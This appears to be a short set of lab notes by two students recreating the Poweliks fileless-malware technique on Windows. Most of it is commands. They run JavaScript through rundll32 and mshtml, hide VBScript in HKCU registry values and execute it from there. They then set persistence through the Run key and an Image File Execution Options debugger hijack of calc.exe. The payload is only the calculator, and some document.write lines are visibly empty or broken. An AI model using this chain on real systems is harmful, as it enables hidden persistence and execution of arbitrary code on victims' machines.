Group: Dmitriy & James
Set WshShell = CreateObject("WScript.Shell") Set oExec = WshShell.Exec("calc.exe") rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";wsh=new%20ActiveXObject("WScript.Shell");wstr1=wsh.regread("HKEY_CURRENT_USER\\Software\\poweliks_reg1");wstr2=wsh.regread("HKEY_CURRENT_USER\\Software\\poweliks_reg2");document.write("")
//-----Get Familiar with environment rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert("foo"); //-----Run calculator using WScript.Shell Run from environment rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";MyObject=new%20ActiveXObject("WScript.Shell");MyObject.Run("calc.exe"); //-----This can be runnable .vbs file that launches calculator Set WshShell = CreateObject("WScript.Shell") Set oExec = WshShell.Exec("calc.exe") //-----Run internals of .vbs file within environment rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("") //-----Write .vbs internals into registry keys rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";MyObject=new%20ActiveXObject("WScript.Shell");MyObject.regwrite("HKEY_CURRENT_USER\\SOFTWARE\\poweliks_reg1","Set WshShell = CreateObject(\"WScript.Shell\")"); rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";MyObject=new%20ActiveXObject("WScript.Shell");MyObject.regwrite("HKEY_CURRENT_USER\\SOFTWARE\\poweliks_reg2","Set oExec = WshShell.Exec(\"calc.exe\")"); //-----Check keys by reading them using wscript and alert through javascript within environment rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";MyObject=new%20ActiveXObject("WScript.Shell");alert(MyObject.regread("HKEY_CURRENT_USER\\SOFTWARE\\poweliks_reg1")); rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";MyObject=new%20ActiveXObject("WScript.Shell");alert(MyObject.regread("HKEY_CURRENT_USER\\SOFTWARE\\poweliks_reg2")); //-----Final version read both registry keys into mshtml document as executable .vbs without using .vbs file rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";wsh=new%20ActiveXObject("WScript.Shell");wstr1=wsh.regread("HKEY_CURRENT_USER\\Software\\poweliks_reg1");wstr2=wsh.regread("HKEY_CURRENT_USER\\Software\\poweliks_reg2");document.write("")
//-----Write the final version of the string (above) into registry key and restart HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\
//-----Navigate to: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\currentversion\image file execution options\\ //-----Create a new key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\currentversion\image file execution options\\calc.exe //-----Add a new string "debugger" with the value being the final version of the string above debugger -> "rundll.exe ..." //----Save and try to launch calc.exe OMG!